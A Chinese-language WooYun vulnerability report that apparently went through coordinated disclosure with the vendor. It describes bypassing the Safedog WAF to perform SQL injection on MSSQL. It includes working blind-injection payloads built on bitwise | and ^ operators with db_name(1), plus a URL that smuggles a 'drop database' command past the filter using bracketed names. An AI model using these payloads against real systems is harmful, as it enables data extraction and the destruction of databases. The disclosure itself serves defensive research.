当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0198826

漏洞标题:利用逻辑特性bypass最新版安全狗SQL注入

相关厂商:安全狗

漏洞作者: niexinming

提交时间:2016-04-21 12:10

修复时间:2016-06-05 14:00

公开时间:2016-06-05 14:00

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-21: 细节已通知厂商并且等待厂商处理中
2016-04-21: 厂商已经确认,细节仅向厂商公开
2016-05-01: 细节向核心白帽子及相关领域专家公开
2016-05-11: 细节向普通白帽子公开
2016-05-21: 细节向实习白帽子公开
2016-06-05: 细节向公众公开

简要描述:

看到@从容 师傅一直在发bypass安全狗的例子,心里怪痒痒的,发一枚

详细说明:

QQ截图20160420203549.jpg


关于&符号和|:
(1)按位与运算符(&)
按位与运算将两个运算分量的对应位按位遵照以下规则进行计算:
0 & 0 = 0, 0 & 1 = 0, 1 & 0 = 0, 1 & 1 = 1。
即同为 1 的位,结果为 1,否则结果为 0。
例如,设3的内部表示为
00000011
5的内部表示为
00000101
则3&5的结果为
00000001
按位与运算有两种典型用法,一是取一个位串信息的某几位,如以下代码截取x的最低7位:x & 0177。二是让某变量保留某几位,其余位置0,如以下代码让x只保留最低6位:x = x & 077。以上用法都先要设计好一个常数,该常数只有需要的位是1,不需要的位是0。用它与指定的位串信息按位与。
(2)按位或运算符(|)
按位或运算将两个运算分量的对应位按位遵照以下规则进行计算:
0 | 0 = 0, 0 | 1 = 1, 1 | 0 = 1, 1 | 1 = 1
即只要有1个是1的位,结果为1,否则为0。
例如,023 | 035 结果为037。
按位或运算的典型用法是将一个位串信息的某几位置成1。如将要获得最右4为1,其他位与变量j的其他位相同,可用逻辑或运算017|j。若要把这结果赋给变量j,可写成:
j = 017|j
(3)按位异或运算符(^)
按位异或运算将两个运算分量的对应位按位遵照以下规则进行计算:
0 ^ 0 = 0, 0 ^ 1 = 1, 1 ^ 0 = 1, 1 ^ 1 = 0
即相应位的值相同的,结果为 0,不相同的结果为 1。
例如,013^035结果为026。
异或运算的意思是求两个运算分量相应位值是否相异,相异的为1,相同的为0。按位异或运算的典型用法是求一个位串信息的某几位信息的反。如欲求整型变量j的最右4位信息的反,用逻辑异或运算017^j,就能求得j最右4位的信息的反,即原来为1的位,结果是0,原来为0的位,结果是1。

当 select 0 | 100时,结果是:100(也就是右边的数字)
当 select 0 & 100时,结果是:0(始终是0)
当 select 0 ^ 100时,结果是:100(也就是右边的数字)
所以这个sql注入的类型只能是数字型
好了,背景交代完了,我们看看我在后端的sql语句:
select * from Myuser.dbo.AppUser where UserType=1
拼接的地方自然是UserType
最后的payload是:
【1】:| (select(ascii((substring((select db_name(1)) ,1,1)))))-108
【2】:^ (select(ascii((substring((select db_name(1)) ,1,1)))))-108
拼接到数据库的语句是:
select * from SSOServer.dbo.AppUser where UserType=1 | (select(ascii((substring((select db_name(1)) ,1,1)))))-108
select * from SSOServer.dbo.AppUser where UserType=1 ^ (select(ascii((substring((select db_name(1)) ,1,1)))))-108
因为安全狗会拦截db_name(),所以就在这个函数里面加入参数来绕过
就比如:db_name(1)
我们要如何查出数据呢?
就是:
(select(ascii((substring((select db_name(1)) ,1,1)))))-108
的结果是ascii的减去108的差值,反映到where语句上的时候就对应id的数据,于是就可以查出数据了
然后还有一点要注意的一点是:
在数据库中查出的db_name(0)是当前数据库名,db_name(1)是master
然后
对了,有人会问,得到数据库名字有什么危害啊?
自然是能删除了
好,第二个安全狗第二个没有过滤到的地方是:
中括号
我如果知道有个数据库叫:mytemp
我可以这样删掉它
http://localhost/test.aspx?type=1;drop database[mytemp]--
注意,数据库名可以用中括号包起来,这样:[数据库名]

漏洞证明:

先证明我这个是有安全狗,并且是最新的:

QQ截图20160420211221.jpg


然后证明这样可以查出数据:

QQ截图20160421120200.jpg


QQ截图20160421120305.jpg


QQ截图20160421120427.jpg


成功删除数据库:

QQ截图20160421120602.jpg

修复方案:

过滤 | & ^

版权声明:转载请注明来源 niexinming@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:4

确认时间:2016-04-21 13:58

厂商回复:

比较有局限性,但是也不能说没有意义,期待小伙伴继续深入的挖掘,十分感谢哈!

最新状态:

暂无